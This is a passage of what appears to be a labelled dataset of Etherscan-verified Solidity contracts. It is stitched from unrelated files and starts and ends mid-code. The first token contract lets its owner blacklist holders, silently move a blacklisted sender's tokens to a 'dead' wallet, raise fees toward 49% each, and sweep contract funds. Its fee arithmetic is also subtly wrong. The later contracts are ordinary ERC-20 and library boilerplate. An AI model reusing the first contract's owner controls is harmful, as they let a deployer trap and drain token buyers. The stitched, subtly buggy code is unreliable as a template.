IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
_isExcludedFromFee[_DeadWalletAddress] = true;
// BLACKLIST
_isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true;
_blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce));
_isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true;
_blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345));
_isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true;
_blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b));
_isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true;
_blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95));
_isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true;
_blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964));
_isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true;
_blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848));
_isBlackListedBot[address(0x5F186b080F5634Bba9dc9683bc37d192Ee96e2cF)] = true;
_blackListedBots.push(address(0x5F186b080F5634Bba9dc9683bc37d192Ee96e2cF));
_isBlackListedBot[address(0x74de5d4FCbf63E00296fd95d33236B9794016631)] = true;
_blackListedBots.push(address(0x74de5d4FCbf63E00296fd95d33236B9794016631));
_isBlackListedBot[address(0x36c1c59Dcca0Fd4A8C28551f7b2Fe6421d53CE32)] = true;
_blackListedBots.push(address(0x36c1c59Dcca0Fd4A8C28551f7b2Fe6421d53CE32));
_isBlackListedBot[address(0xA3E2b5588C2a42b8fd6B90dc7055Dc118e17ff1f)] = true;
_blackListedBots.push(address(0xA3E2b5588C2a42b8fd6B90dc7055Dc118e17ff1f));
_isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true;
_blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881));
_isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true;
_blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679));
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _marketingFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_marketingFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_marketingFee = _previousMarketingFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_isBlackListedBot[sender]) {
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numTokensSellToAddToLiquidity;
if (!inSwapAndLiquify && swapAndLiquifyEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
contractTokenBalance = _numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and charity fee
_tokenTransfer(sender, _DeadWalletAddress, amount, takeFee);
}
if((sender != owner() && sender != uniswapV2Pair)) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// sorry about that, but sniper bots nowadays are buying multiple times, hope I have something more robust to prevent them to nuke the launch :-(
require(balanceOf(recipient).add(amount) <= _maxTxAmount, "Already bought maxTxAmount, wait till check off");
}
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numTokensSellToAddToLiquidity;
if (!inSwapAndLiquify && swapAndLiquifyEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
contractTokenBalance = _numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and charity fee
_tokenTransfer(sender, recipient, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 toMarketing = contractTokenBalance.mul(_marketingFee).div(_marketingFee.add(_liquidityFee));
uint256 toLiquify = contractTokenBalance.sub(toMarketing);
// split the contract balance into halves
uint256 half = toLiquify.div(2);
uint256 otherHalf = toLiquify.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
uint256 toSwapForEth = half.add(toMarketing);
swapTokensForEth(toSwapForEth); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 fromSwap = address(this).balance.sub(initialBalance);
uint256 newBalance = fromSwap.mul(half).div(toSwapForEth);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
sendETHToMarketing(fromSwap.sub(newBalance));
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function sendETHToMarketing(uint256 amount) private {
_DeadWalletAddress.transfer(amount);
}
// _marketingWalletAddress.transfer(amount);
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToMarketing(contractETHBalance);
}
function setSwapAndLiquifyEnabled(bool _swapAndLiquifyEnabled) external onlyOwner(){
swapAndLiquifyEnabled = _swapAndLiquifyEnabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketingLiquidity(tMarketingLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketingLiquidity(tMarketingLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketingLiquidity(tMarketingLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketingLiquidity(tMarketingLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeMarketingLiquidity(uint256 tMarketingLiquidity) private {
uint256 currentRate = _getRate();
uint256 rMarketingLiquidity = tMarketingLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rMarketingLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tMarketingLiquidity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swapping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidityFee) = _getTValues(tAmount, _taxFee, _marketingFee.add(_liquidityFee));
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketingLiquidityFee);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 marketingLiquidityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tMarketingLiquidityFee = tAmount.mul(marketingLiquidityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(marketingLiquidityFee);
return (tTransferAmount, tFee, tMarketingLiquidityFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 49, 'taxFee should be in 1 - 49');
_taxFee = taxFee;
}
function _setMarketingFee(uint256 marketingFee) external onlyOwner() {
require(marketingFee >= 1 && marketingFee <= 49, 'marketingFee should be in 1 - 11');
_marketingFee = marketingFee;
}
function _setLiquidityFee(uint256 liquidityFee) external onlyOwner() {
require(liquidityFee >= 1 && liquidityFee <= 49, 'liquidityFee should be in 1 - 11');
_liquidityFee = liquidityFee;
}
function _setNumTokensSellToAddToLiquidity(uint256 numTokensSellToAddToLiquidity) external onlyOwner() {
require(numTokensSellToAddToLiquidity >= 10**9 , 'numTokensSellToAddToLiquidity should be greater than total 1e9');
_numTokensSellToAddToLiquidity = numTokensSellToAddToLiquidity;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 10**9 , 'maxTxAmount should be greater than total 1e9');
_maxTxAmount = maxTxAmount;
}
function recoverTokens(uint256 tokenAmount) public virtual onlyOwner() {
_approve(address(this), owner(), tokenAmount);
_transfer(address(this), owner(), tokenAmount);
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-12
*/
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract SANIBO is ERC20, ERC20Detailed, ERC20Burnable {
constructor() ERC20Detailed('Sanibo Inu', 'SANIBO', 0) public {
_mint(msg.sender, 1_000_000_000_000_000);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
pragma solidity ^0.4.26;
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract BeyondAVAXToken is Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "AVAXb";
name = "Beyond AVAX Token";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) external constant returns (uint256 balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) external returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) external returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) {
return this.transfer(owner, tokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
// sends ETH or an erc20 token
function safeTransferBaseToken(address token, address payable to, uint value, bool isERC20) internal {
if (!isERC20) {
to.transfer(value);
} else {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
